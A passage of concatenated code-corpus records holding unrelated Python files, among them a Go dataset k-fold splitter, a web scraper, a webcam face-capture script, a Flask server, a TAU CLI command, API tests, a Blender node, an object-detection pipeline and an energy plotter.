ps.print_stats()\n# print(s.getvalue())\n# print(\"Total time: \"+str(end-start))","sub_path":"networkGeneration/corPopGen.py","file_name":"corPopGen.py","file_ext":"py","file_size_in_byte":73556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"355181553","text":"import csv\nfrom numpy.random import shuffle\ngowin = open(\"GoWin9x9.txt\",'r')\ngoloss = open(\"GoLoss9x9.txt\",'r')\ngodraw = open(\"GoDraw9x9.txt\",'r')\nwreader = gowin.readlines()\nlreader = goloss.readlines()\ndreader = godraw.readlines()\nshuffle(wreader)\nshuffle(lreader)\nshuffle(dreader)\nprint(len(wreader))\nprint(len(lreader))\nprint(len(dreader))\ntable1 = []\ntable2 = []\ntable3 = []\ntable4 = []\ntable5 = []\ntable6 = []\ntable7 = []\ntable8 = []\ntable9 = []\ntable0 = []\ntable11 = []\ntable12 = []\ntable13 = []\ntable14 = []\ntable15 = []\ntable16 = []\ntable17 = []\ntable18 = []\ntable19 = []\ntable10 = []\ncollection = [table0,table1,table2,table3,table4,table5,table6,table7,table8,table9]\ncollection2 = [table10,table11,table12,table13,table14,table15,table16,table17,table18,table19]\n\ndef split():\n i=0\n print(len(wreader))\n print(len(lreader))\n print(len(dreader))\n for row in wreader:\n collection[i].append(row)\n collection2[i].append(row)\n i+=1\n if (i == 10):\n i = 0\n i=0\n for row in lreader:\n collection[i].append(row)\n collection2[i].append(row)\n i += 1\n if (i == 10):\n i = 0\n i=0\n for row in dreader:\n collection2[i].append(row)\n i += 1\n if (i == 10):\n i = 0\n #print(collection)\n #print(collection2)\n\ndef getList(input):\n #print(len(input))\n list = []\n for i in input:\n list.append(i)\n #print(len(list))\n #print(input)\n #print(list)\n return list\n\n\ndef makeSet(input, i):\n j = 0\n test = []\n train = []\n while j < 10:\n if(i == j):\n test= getList(input[j])\n #print(\"\"+str(i) + \" if \" + str(j))\n #print(input[i])\n else:\n train = train + getList(input[j])\n #print(\"\"+str(i) + \" else \" + str(j))\n #print(input[i])\n j+=1\n return train, test\ndef shuffleWrite(train, test,input, i):\n temp1, temp2 = makeSet(input,i)\n #print(len(temp1))\n #print(len(temp2))\n shuffle(temp1)\n shuffle(temp2)\n for j in temp1:\n train.write(j)\n for k in temp2:\n test.write(k)\n\nsplit()\ni =0\nwhile i < 10:\n trainnumb = str(i)+\"train\"\n testnumb = str(i)+\"test\"\n nodraw = open(\"./dataset/9x9nodraw\"+trainnumb, 'w')\n nodrawtest = open(\"./dataset/9x9nodraw\"+testnumb, 'w')\n draw = open(\"./dataset/9x9draw\"+trainnumb, 'w')\n drawtest = open(\"./dataset/9x9draw\"+testnumb, 'w')\n shuffleWrite(nodraw,nodrawtest, collection,i)\n shuffleWrite(draw, drawtest, collection2, i)\n i+=1","sub_path":"Archive/kFoldSplit.py","file_name":"kFoldSplit.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"575454326","text":"import csv\nfrom collections import defaultdict\nimport json\nimport pprint\n\nplace_reader = csv.reader(open(\"/home/n4user/cleaned_data/place_batch.csv\", \"r\"), delimiter='\\t')\npublisher_reader = csv.reader(open(\"home/n4user/cleaned_data/publisher_batch.csv\", \"r\"), delimiter='\\t')\nedition_reader = csv.reader(open(\"/home/n4user/cleaned_data/edition_batch.csv\", \"r\"), delimiter='\\t')\nauthor_reader = csv.reader(open(\"/home/n4user/cleaned_data/person_batch.csv\", \"r\"), delimiter='\\t')\n\nyear_count = {}\nfor i in range(1900,1961):\n year_count[i] = defaultdict(lambda: [set(),set(),set()])\nwith open(\"all.csv\",\"r\",encoding=\"mac_roman\") as country_handle:\n country_reader = csv.reader(country_handle, delimiter=',')\n countries = {}\n for line in country_reader:\n countries[line[0]] = line[5]\n\ncurr_year_dict = []\nfor i in range(1900,1961):\n curr_dict = {}\n curr_dict[\"year\"] = i\n curr_dict[\"countries\"] = []\n for country,continent in countries.items():\n curr_dict[\"countries\"].append({\"continent\":continent,\"country\": country, \"editions\": set(), \"publishers\": set(), \"authors\": set()})\n curr_year_dict.append(curr_dict)\n\n\nwhile(True):\n try:\n curr_place = next(place_reader)[1]\n curr_publisher = next(publisher_reader)\n curr_edition = next(edition_reader)\n curr_author = next(author_reader)\n curr_year = curr_edition[-2]\n except:\n break\n\n try:\n if \"›\" in curr_edition[-2]:\n curr_year = int(curr_edition[-2].split('›')[0])\n else:\n curr_year = int(curr_edition[-2])\n if curr_year > 1900 and curr_year <= 1960:\n for index,country in enumerate(countries):\n if country in curr_place:\n curr_year_dict[curr_year-1900][\"countries\"][index][\"publishers\"].add(curr_publisher[0])\n curr_year_dict[curr_year-1900][\"countries\"][index][\"editions\"].add(curr_edition[0])\n curr_year_dict[curr_year-1900][\"countries\"][index][\"authors\"].add(curr_author[0])\n\n except:\n pass\n\n\nfor index1,curr_dict in enumerate(curr_year_dict):\n for index2,country in enumerate(curr_dict[\"countries\"]):\n try:\n curr_year_dict[index1][\"countries\"][index2][\"editions\"] = len(curr_year_dict[index1][\"countries\"][index2][\"editions\"])\n curr_year_dict[index1][\"countries\"][index2][\"publishers\"] = len(curr_year_dict[index1][\"countries\"][index2][\"publishers\"])\n curr_year_dict[index1][\"countries\"][index2][\"authors\"] = len(curr_year_dict[index1][\"countries\"][index2][\"authors\"])\n except:\n print (curr_year_dict[index1][\"countries\"][index2][\"editions\"])\n print (curr_year_dict[index1])\n\n\nwith open(\"data.json\", \"w\") as handle:\n json.dump(curr_year_dict, handle)\n\n#for year,value1 in year_count.items():\n# print(\"-------{}--------\".format(year))\n# for key,value in value1.items():\n# print (\"{}: publishers: {} editions: {} authors: {}\".format(key,len(value[0]),len(value[1]),len(value[2])))\n","sub_path":"tools/publisher_country_count.py","file_name":"publisher_country_count.py","file_ext":"py","file_size_in_byte":3049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"482674314","text":"import csv\nimport requests\n\nfrom bs4 import BeautifulSoup as BS\n\n\"\"\"\nfile = open(\"index\\\\professors.html\", \"r\")\nread = file.read()\n\"\"\"\n\nurl = \"http://192.168.101.150/professors.html\"\nresponse = requests.get(url)\ntext = response.text\n\nhtml = BS(text, \"html.parser\")\ntr_list = html.find(\"table\").find(\"tbody\").find_all(\"tr\")\nprofessors = []\n\nfor tr in tr_list:\n\tnumber = tr.find(\"td\", {\"class\":\"number\"}).text\n\tname = tr.find(\"td\", {\"class\":\"professor\"}).text\n\tlecture = tr.find(\"td\", {\"class\":\"lecture\"}).text\n\tgrade = tr.find(\"td\", {\"class\":\"grade\"}).text\n\tevaluation = tr.find(\"td\", {\"class\":\"evaluation\"}).text\n\tprofessors.append([number, name, lecture, grade, evaluation])\n\t#print(\"{} / {} / {} / {} / {}\".format(number, name, lecture, grade, evaluation))\n\t\nfile = open(\"data\\\\professors.csv\", \"w\", newline = \"\")\ncsvfile = csv.writer(file)\ncsvfile.writerow([\"number\", \"professor\", \"lecture\", \"grade\", \"evaluation\"])\n\nfor professor in professors:\n\tprint(professor)","sub_path":"IT_academy/Crawling2.py","file_name":"Crawling2.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"42961959","text":"import cv2, os\r\nhaar_file = \"haarcascade_frontalface_default.xml\"\r\ndataset = \"Dataset-faceRecognition\"\r\nsub_data = \"Ram\" \r\n\r\npath = os.path.join(dataset,sub_data)\r\nif not os.path.isdir(path):\r\n os.mkdir(path)\r\n(width,height) = (130,100)\r\n\r\nface_cascade = cv2.CascadeClassifier(haar_file)\r\nwebcam = cv2.VideoCapture(0,cv2.CAP_DSHOW)\r\n \r\ncount = 1\r\nwhile count < 31:\r\n print(count)\r\n _,im = webcam.read()\r\n gray = cv2.cvtColor(im,cv2.COLOR_BGR2GRAY)\r\n faces = face_cascade.detectMultiScale(gray,1.3,4)\r\n for (x,y,w,h) in faces:\r\n cv2.rectangle(im,(x,y),(x+w,y+h), (0,255,0),2)\r\n face = gray[y:y+h,x:x+w]\r\n face_resize = cv2.resize(face,(width,height))\r\n cv2.imwrite(\"%s/%s.jpg\"%(path,count),face_resize)\r\n count+=1\r\n cv2.imshow(\"OpenCV\",im)\r\n key = cv2.waitKey(10)\r\n if key == 27:\r\n break\r\nprint(\"Face recognised successfully\")\r\n\r\ncam.release()\r\ncv2.destroyAllWindows()\r\n","sub_path":"DataSet Face Recognition.py","file_name":"DataSet Face Recognition.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"223713194","text":"from typing import List, Union\n\nfrom graphql import GraphQLSchema, build_schema\n\nfrom .types import Bindable\n\n\ndef make_executable_schema(\n type_defs: Union[str, List[str]],\n resolvers: Union[Bindable, List[Bindable], None] = None,\n) -> GraphQLSchema:\n if isinstance(type_defs, list):\n type_defs = join_type_defs(type_defs)\n\n schema = build_schema(type_defs)\n\n if isinstance(resolvers, list):\n for type_resolvers in resolvers:\n type_resolvers.bind_to_schema(schema)\n elif resolvers:\n resolvers.bind_to_schema(schema)\n\n return schema\n\n\ndef join_type_defs(type_defs: List[str]) -> str:\n return \"\\n\\n\".join(t.strip() for t in type_defs)\n","sub_path":"ariadne/executable_schema.py","file_name":"executable_schema.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"389786616","text":"#!/usr/bin/env python\n# encoding: utf8\n\nfrom documents import *\n\nfrom flask import Flask, app, request, render_template\nfrom mongoengine import connect\n\nimport os\nfrom json import loads, dumps\nfrom random import randrange\nfrom pprint import pprint\n\n\napp.host = '0.0.0.0'\nDEBUG = True\n\nDB_NAME = 'gov_review'\nROOT = os.path.abspath(os.path.dirname(__file__))\n\napp = Flask(__name__)\napp.config.from_object(__name__)\n\n\n@app.route('/', methods=['GET'])\ndef index():\n connect(DB_NAME)\n defects = Defect.objects.order_by('-time_updated').limit(5)\n return render_template('index.html', defects=defects)\n\n\n@app.route('/list', methods=['GET'])\ndef list():\n pass\n\n\n@app.route('/defect/<oid>', methods=['GET'])\ndef defect(oid):\n connect(DB_NAME)\n defect = Defect.objects.get(id=oid)\n return render_template('defect.html', defect=defect)\n\n\n#@app.route('/add')\n#def add():\n #return render_template('add.html')\n\n\n#@app.route('/edit/<<int:c>/<int:sc>/<int:d>', methods=['GET'])\n#def edit(c, sc, d):\n #r = redis.StrictRedis(host=DB_HOST, port=DB_PORT, db=0)\n #chapter = loads(r.hgetall(DB_NAME)['chapters'])[c]\n\n #sub_chapter = chapter['sub-chapters'][sc]\n #defect = sub_chapter['defects'][d]\n\n #response = {\n #'chapter': c,\n #'chapter_name': chapter['name'],\n #'sub_chapter': sc,\n #'name': sub_chapter['name'],\n #'defect': d,\n #'status': defect['status'],\n #'url': defect['url'],\n #'tags': defect['tags'],\n #'entities': sub_chapter['entities'],\n #'description': defect['description'],\n #'follow_up': defect['follow-up']\n #}\n\n #return render_template('add.html', defect=response)\n\n\n## chapter/sub-chapter/defect.\n#@app.route('/update/<int:c>/<int:sc>/<int:d>', methods=['POST'])\n#def update(c, sc, d):\n ##form = DefectForm(request.form)\n #form = request.form\n ##if form.validate():\n\n #r = redis.StrictRedis(host=DB_HOST, port=DB_PORT, db=0)\n #chapters = loads(r.hgetall(DB_NAME)['chapters'])\n\n #sub_chapter = chapters[c]['sub-chapters'][sc]\n #sub_chapter['entities'] = [entity.strip() for\n #entity in form['entities'].split(',')]\n\n #defect = sub_chapter['defects'][d]\n #defect['status'] = form['status']\n #defect['url'] = form['url']\n #defect['tags'] = [tag.strip() for tag in form['tags'].split(',')]\n #defect['description'] = form['description']\n #defect['follow-up'] = form['follow-up']\n #print '------here------'\n\n #r.hset(DB_NAME, 'chapters', dumps(chapters))\n #r.save()\n\n #return render_template('index.html')\n\n\n#@app.route('/delete/<int:chapter>/<int:sub_chapter>/<int:defect>')\n#def delete(chapter, sub_chapter, defect):\n #f = open(DB_FILE, 'w+b')\n #data = loads(f.read())\n\n #sub_chapter = data['chapters'][chapter]['sub-chapters'][sub_chapter]\n #del(sub_chapter['defects'][defect])\n #if len(sub_chapter['defect']) == 0:\n #del(data['chapters'][chapter]['sub-chapters'])\n\n #f.close()\n\n\nif __name__ == '__main__':\n app.run(debug=DEBUG)\n","sub_path":"src/server/run_server.py","file_name":"run_server.py","file_ext":"py","file_size_in_byte":3057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"285025","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (c) 2015, ParaTools, Inc.\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n# (1) Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n# (2) Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n# (3) Neither the name of ParaTools, Inc. nor the names of its contributors may\n# be used to endorse or promote products derived from this software without\n# specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n\"\"\"``tau project create`` subcommand.\"\"\"\n\nfrom tau import logger, cli\nfrom tau.cli import arguments\nfrom tau.model import UniqueAttributeError\nfrom tau.model.project import Project\nfrom tau.model.target import Target\nfrom tau.model.application import Application\nfrom tau.model.measurement import Measurement\n\n\nLOGGER = logger.get_logger(__name__)\n\nCOMMAND = cli.get_command(__name__)\n\nSHORT_DESCRIPTION = \"Create a new project configuration.\"\n\nHELP = \"\"\"\n'%(command)s' page to be written.\n\"\"\" % {'command': COMMAND}\n\n\ndef parser():\n \"\"\"Construct a command line argument parser.\n \n Constructing the parser may cause a lot of imports as :py:mod:`tau.cli` is explored.\n To avoid possible circular imports we defer parser creation until afer all\n modules are imported, hence this function. The parser instance is maintained as\n an attribute of the function, making it something like a C++ function static variable.\n \"\"\"\n if not hasattr(parser, 'inst'):\n usage_head = \"%s <project_name> [targets] [applications] [measurements] [arguments]\" % COMMAND \n parser.inst = arguments.get_parser_from_model(Project,\n prog=COMMAND,\n usage=usage_head,\n description=SHORT_DESCRIPTION)\n parser.inst.add_argument('impl_targets',\n help=\"Target configurations in this project\",\n metavar='[targets]',\n nargs='*',\n default=arguments.SUPPRESS)\n parser.inst.add_argument('impl_applications',\n help=\"Application configurations in this project\",\n metavar='[applications]',\n nargs='*',\n default=arguments.SUPPRESS)\n parser.inst.add_argument('impl_measurements',\n help=\"Measurement configurations in this project\",\n metavar='[measurements]',\n nargs='*',\n default=arguments.SUPPRESS)\n parser.inst.add_argument('--targets',\n help=\"Target configurations in this project\",\n metavar='t',\n nargs='+',\n default=arguments.SUPPRESS)\n parser.inst.add_argument('--applications',\n help=\"Application configurations in this project\",\n metavar='a',\n nargs='+',\n default=arguments.SUPPRESS)\n parser.inst.add_argument('--measurements',\n help=\"Measurement configurations in this project\",\n metavar='m',\n nargs='+',\n default=arguments.SUPPRESS)\n return parser.inst\n\n\ndef main(argv):\n \"\"\"Subcommand program entry point.\n \n Args:\n argv (list): Command line arguments.\n \n Returns:\n int: Process return code: non-zero if a problem occurred, 0 otherwise\n \"\"\"\n args = parser().parse_args(args=argv)\n LOGGER.debug('Arguments: %s', args)\n\n targets = set()\n applications = set()\n measurements = set()\n\n for attr, model, dest in [('targets', Target, targets),\n ('applications', Application, applications),\n ('measurements', Measurement, measurements)]:\n for name in getattr(args, attr, []):\n found = model.with_name(name)\n if not found:\n parser().error(\"There is no %s named '%s'\" % (model.model_name, name))\n dest.add(found.eid)\n\n for name in getattr(args, 'impl_' + attr, []):\n tar = Target.with_name(name)\n app = Application.with_name(name)\n mes = Measurement.with_name(name)\n tam = set([tar, app, mes]) - set([None])\n if len(tam) > 1:\n parser().error(\"'%s' is ambiguous, please use --targets, --applications,\"\n \" or --measurements to specify configuration type\" % name)\n elif len(tam) == 0:\n parser().error(\"'%s' is not a target, application, or measurement\" % name)\n elif tar:\n targets.add(tar.eid)\n elif app:\n applications.add(app.eid)\n elif mes:\n measurements.add(mes.eid)\n\n try:\n delattr(args, 'impl_' + attr)\n except AttributeError:\n pass\n\n args.targets = list(targets)\n args.applications = list(applications)\n args.measurements = list(measurements)\n\n try:\n Project.create(args.__dict__)\n except UniqueAttributeError:\n parser().error(\"A project named '%s' already exists.\" % args.name)\n\n LOGGER.info(\"Created a new project named '%s'.\", args.name)\n return cli.execute_command(['project', 'list'], [args.name])\n","sub_path":"packages/tau/cli/commands/project/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":6803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"14842770","text":"from unittest.mock import patch\n\nimport pytest\n\nfrom customer_service.model.customer import Customer\nfrom customer_service.model.errors import CustomerNotFound\n\n\n@patch('customer_service.model.commands.get_customer')\ndef test_get_customer_id(get_customer, web_client, customer_repository):\n get_customer.return_value = Customer(customer_id=12345,\n first_name='Joe',\n surname='Bloggs')\n\n response = web_client.get('/customers/12345')\n\n get_customer.assert_called_with(\n customer_id=12345,\n customer_repository=customer_repository)\n assert response.is_json\n assert response.get_json() == dict(customerId='12345',\n firstName='Joe',\n surname='Bloggs')\n\n\n@patch('customer_service.model.commands.update_customer')\ndef test_update_customer(update_customer, web_client, customer_repository):\n\n update_customer.return_value = Customer(customer_id=12345,\n first_name='Joe',\n surname='Bloggs')\n\n response = web_client.put('/customers/12345/Joe/Bloggs')\n\n assert response.is_json\n assert response.get_json()['customerID'] == 12345\n assert response.get_json()['firstName'] == \"Joe\"\n assert response.get_json()['surname'] == \"Bloggs\"\n\n\n@patch('customer_service.model.commands.update_customer')\ndef test_update_customer_special_char_input(\n update_customer, web_client, customer_repository):\n update_customer.return_value = Customer(customer_id=12345,\n first_name='Joe',\n surname='Bloggs')\n response = web_client.put('/customers/12345/Joe4/Bloggs0')\n assert response.status_code == 400\n\n\n@patch('customer_service.model.commands.get_customer')\ndef test_get_customer_not_found(get_customer, web_client):\n get_customer.side_effect = CustomerNotFound()\n\n response = web_client.get('/customers/000000')\n\n assert response.is_json\n assert response.status_code == 404\n assert response.get_json() == dict(message='Customer not found')\n\n\n@patch('customer_service.model.commands.create_customer')\ndef test_create_customer(create_customer, web_client, customer_repository):\n create_customer.return_value = '98765'\n\n request_body = dict(firstName='Jez', surname='Humble')\n\n response = web_client.post('/customers/', json=request_body)\n\n assert response.status_code == 201\n\n create_customer.assert_called_with(\n first_name='Jez',\n surname='Humble',\n customer_repository=customer_repository)\n\n assert response.is_json\n\n account = response.get_json()\n\n assert account == dict(\n firstName='Jez',\n surname='Humble',\n customerId='98765')\n\n\n@pytest.mark.parametrize(\n 'bad_payload',\n [dict(),\n dict(firstName='Joe', surname='Bloggs', unknown='value'),\n dict(firstName='', surname='Bloggs'),\n dict(firstName='Joe', surname='')])\ndef test_create_customer_with_bad_payload(web_client, bad_payload):\n response = web_client.post('/customers/', json=bad_payload)\n assert response.status_code == 400\n\n\ndef test_create_customer_with_bad_context_type(web_client):\n response = web_client.post('/customers/', data='not json')\n assert response.status_code == 415\n assert response.get_json()['message'] == 'Request must be application/json'\n","sub_path":"tests/controllers/test_customers.py","file_name":"test_customers.py","file_ext":"py","file_size_in_byte":3498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"264500903","text":"import bpy\nfrom bpy.props import *\nfrom ... events import executionCodeChanged\nfrom ... base_types.node import AnimationNode\n\nclass an_ObjectTransformsOutputNode(bpy.types.Node, AnimationNode):\n bl_idname = \"an_ObjectTransformsOutputNode\"\n bl_label = \"Object Transforms Output\"\n\n def checkedPropertiesChanged(self, context):\n self.updateSocketVisibility()\n executionCodeChanged()\n\n useLocation = BoolVectorProperty(update = checkedPropertiesChanged)\n useRotation = BoolVectorProperty(update = checkedPropertiesChanged)\n useScale = BoolVectorProperty(update = checkedPropertiesChanged)\n\n def create(self):\n self.newInput(\"Object\", \"Object\", \"object\", defaultDrawType = \"PROPERTY_ONLY\")\n self.newInput(\"Vector\", \"Location\", \"location\")\n self.newInput(\"Euler\", \"Rotation\", \"rotation\")\n self.newInput(\"Vector\", \"Scale\", \"scale\", value = (1, 1, 1))\n self.newOutput(\"Object\", \"Object\", \"object\")\n self.updateSocketVisibility()\n\n def draw(self, layout):\n col = layout.column(align = True)\n\n row = col.row(align = True)\n row.label(\"Location\")\n row.prop(self, \"useLocation\", index = 0, text = \"X\")\n row.prop(self, \"useLocation\", index = 1, text = \"Y\")\n row.prop(self, \"useLocation\", index = 2, text = \"Z\")\n row = col.row(align = True)\n row.label(\"Rotation\")\n row.prop(self, \"useRotation\", index = 0, text = \"X\")\n row.prop(self, \"useRotation\", index = 1, text = \"Y\")\n row.prop(self, \"useRotation\", index = 2, text = \"Z\")\n row = col.row(align = True)\n row.label(\"Scale\")\n row.prop(self, \"useScale\", index = 0, text = \"X\")\n row.prop(self, \"useScale\", index = 1, text = \"Y\")\n row.prop(self, \"useScale\", index = 2, text = \"Z\")\n\n def updateSocketVisibility(self):\n self.inputs[\"Location\"].hide = not (self.useLocation[0] or self.useLocation[1] or self.useLocation[2])\n self.inputs[\"Rotation\"].hide = not (self.useRotation[0] or self.useRotation[1] or self.useRotation[2])\n self.inputs[\"Scale\"].hide = not (self.useScale[0] or self.useScale[1] or self.useScale[2])\n\n def getExecutionCode(self):\n useLoc = self.useLocation\n useRot = self.useRotation\n useScale = self.useScale\n\n if not any((*useLoc, *useRot, *useScale)):\n return\n\n yield \"if object is not None:\"\n\n # Location\n if all((*useLoc, )):\n yield \" object.location = location\"\n else:\n for i in range(3):\n if useLoc[i]: yield \" object.location[\"+str(i)+\"] = location[\"+str(i)+\"]\"\n\n # Rotation\n if all((*useRot, )):\n yield \" object.rotation_euler = rotation\"\n else:\n for i in range(3):\n if useRot[i]: yield \" object.rotation_euler[\"+str(i)+\"] = rotation[\"+str(i)+\"]\"\n\n # Scale\n if all((*useScale, )):\n yield \" object.scale = scale\"\n else:\n for i in range(3):\n if useScale[i]: yield \" object.scale[\"+str(i)+\"] = scale[\"+str(i)+\"]\"\n\n def getBakeCode(self):\n yield \"if object is not None:\"\n\n for i in range(3):\n if self.useLocation[i]:\n yield \" object.keyframe_insert('location', index = {})\".format(i)\n\n for i in range(3):\n if self.useRotation[i]:\n yield \" object.keyframe_insert('rotation_euler', index = {})\".format(i)\n\n for i in range(3):\n if self.useScale[i]:\n yield \" object.keyframe_insert('scale', index = {})\".format(i)\n","sub_path":"scripts/addons_extern/animation_nodes_master/nodes/object/object_transforms_output.py","file_name":"object_transforms_output.py","file_ext":"py","file_size_in_byte":3639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"511500401","text":"import torch\nimport torchvision\nimport argparse\nimport cv2\nfrom torchvision.utils import draw_bounding_boxes\nfrom torchvision.utils import save_image\nfrom torchvision.io import read_image\n\n\ndef capture_img(img_addr='output.png'):\n def gstreamer_pipeline(capture_width=1280, capture_height=720,\n display_width=1280, display_height=720,\n framerate=60, flip_method=0):\n return (\n \"nvarguscamerasrc ! \"\n \"video/x-raw(memory:NVMM), \"\n f\"width=(int){capture_width}, height=(int){capture_height}, \"\n f\"format=(string)NV12, framerate=(fraction){framerate}/1 ! \"\n f\"nvvidconv flip-method={flip_method} ! \"\n f\"video/x-raw, width=(int){display_width}, height=(int){display_height}, format=(string)BGRx ! \"\n \"videoconvert ! \"\n \"video/x-raw, format=(string)BGR ! appsink\"\n )\n\n HEIGHT = 1280\n WIDTH = 1920\n center = (WIDTH / 2, HEIGHT / 2)\n M = cv2.getRotationMatrix2D(center, 180, 1.0)\n\n cam = cv2.VideoCapture(gstreamer_pipeline(), cv2.CAP_GSTREAMER)\n\n\n if cam.isOpened():\n val, img = cam.read()\n if val:\n cv2.imwrite(img_addr, img)\n return True\n return False\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Process some integers.')\n parser.add_argument('--test', default=False, action='store_true',\n help='test mode (use dog picture to replace the camera-captured image')\n\n args = parser.parse_args()\n\n captured_img_addr = 'captured_img.png'\n dog_img_addr = 'nala.jpeg'\n\n success_captured = capture_img(captured_img_addr)\n assert success_captured, 'Can not capture img via camera.'\n\n input_img_addr = dog_img_addr if args.test else captured_img_addr\n output_img_addr = 'detected_dog_img.png' if args.test else 'detected_cap_img.png'\n\n input_img = torch.tensor(cv2.imread(input_img_addr), dtype=torch.float32)[None, ...].permute(0, 3, 1, 2) / 255.\n \n detector = torchvision.models.detection.fasterrcnn_mobilenet_v3_large_320_fpn(pretrained=True)\n detector.eval()\n predictions = detector(input_img)\n\n score_threshold = 0.5\n output_img = draw_bounding_boxes(torch.tensor((input_img * 255.), dtype=torch.uint8).squeeze(), boxes=predictions[0]['boxes'][predictions[0]['scores'] > score_threshold], width=input_img.size(3) // 500)\n output_img = output_img.permute(1, 2, 0).numpy()\n\n cv2.imwrite(output_img_addr, output_img)","sub_path":"labs/lab0-setup/detection_pipeline.py","file_name":"detection_pipeline.py","file_ext":"py","file_size_in_byte":2517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"546436571","text":"#!/usr/bin/env python3\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport sys\nfrom datafile import *\n\n\n\n#########################################################\n# \tThis plotter script requires a file named\n#\tdatafile.py to exist in the working dir which \n#\tmust contain three vectors of equal length\n#\t\n#\ttemperatures = [ ... ]\n#\tEkins = [ ... ]\n#\tEtots = [ ... ]\n#\t\n########################################################\n\n\ndt=10\nscale_factor = 1.0\nry_atomic_time=4.8378e-17 #seconds per a.u.\ntimestep_SI = dt*ry_atomic_time\ntempw=584\n\nif (len(temperatures) == len(Ekins)) and (len(Ekins) == len(Etots)):\n nstep = len(temperatures)\nelse:\n sys.stdout.write(\"\\nERROR:\\t legnths of temp, KE, and E vectors do not match. Exiting now.\\n\\n\\tgoodbye\\n\\n\")\n sys.exit()\n\n\ndef get_mean(li):\n summe = 0\n for item in li:\n summe += item\n return int(summe/len(li))\n\n\nEpots = [ Etots[i] - Ekins[i] for i in range(len(Ekins)) ] \nnorm_Etots = [ thing/Etots[0] for thing in Etots ]\ndiff_Etots = [ thing - Etots[0] for thing in Etots ]\ndiff_Etots_scaled = [ scale_factor*(thing - Etots[0]) for thing in Etots ]\naverage_temp = get_mean(temperatures)\ninds = range(len(Ekins))\ntimes = [ ind*dt*ry_atomic_time for ind in inds ]\nnefgstep = len(Cl1)\n\n\ndef main():\n print(\"\"\"\n\t\n\tlen(temperatures):\t{}\n\tlen(Ekins):\t\t{}\n\tlen(Etots):\t\t{}\n\n \"\"\".format(len(temperatures), len(Ekins), len(Etots))\n\t)\n\n\n #plt.scatter(inds, Ekins, color='k', marker='>', s=25, label='Kinetic Energy (Ry)')\n plt.plot(inds, Ekins, color='g', label='E_kinetic (Ry), joined')\n plt.scatter(inds, Ekins, color='k', marker='.', label='E_kinetic (Ry), data')\n #plt.plot(inds, norm_Etots, color='r', label='E_total[t]/(-548.00599230 Ry)')\n #plt.plot(inds, diff_Etots, color='k', label='E_total[t] - E_total[0] = E_total[t] + 548.00599230 Ry')\n plt.plot(inds, diff_Etots_scaled, color='m', label='E_total[t] - E_total[0] = E_total[t] + 548.00599230 Ry', linewidth=1)\n# plt.scatter(times, diff_Etots_scaled, color='k', marker='.')\n\n\n #plt.scatter(ecut, etas_pbe_n, color='g', marker='o', s=65, label='GGA: Cl.pbe-n-kjpaw_psl.1.0.0.UPF')\n #plt.scatter(ecut, etas_pz_nl, color='r', marker='^', s=65, label='LDA: Cl.pz-nl-kjpaw_psl.1.0.0.UPF')\n #plt.scatter(ecut, etas_pz_n, color='k', marker='<', s=65, label='LDA: Cl.pz-n-kjpaw_psl.1.0.0.UPF')\n #plt.plot(ecut, etas)\n\n plt.title(\"Kinetic Energy in p-Cl_2-benzene MD\\n tempw={}K, dt={} a.u., nstep={}, T_avg={}K\".format(tempw, dt, nstep, get_mean(temperatures)))\n plt.ylabel(\"Ry (13.6 eV)\")\n plt.xlabel(\"timestep \\ndt = {}a.u./step; 1 a.u. = {} s/step; {}s total time\".format(dt, dt*ry_atomic_time, nstep*dt*ry_atomic_time))\n\n\n print(average_temp)\n plt.legend(loc=1)\n\n #plt.ylim(ymin=-547.5)\n plt.savefig(\"Ekin_and_Etot_dt{}-nstep{}-nefgstep{}-nosym-ecut100.pdf\".format(dt, nstep, nefgstep))\n plt.show() \n\n\n\n\nif __name__ == '__main__':\n 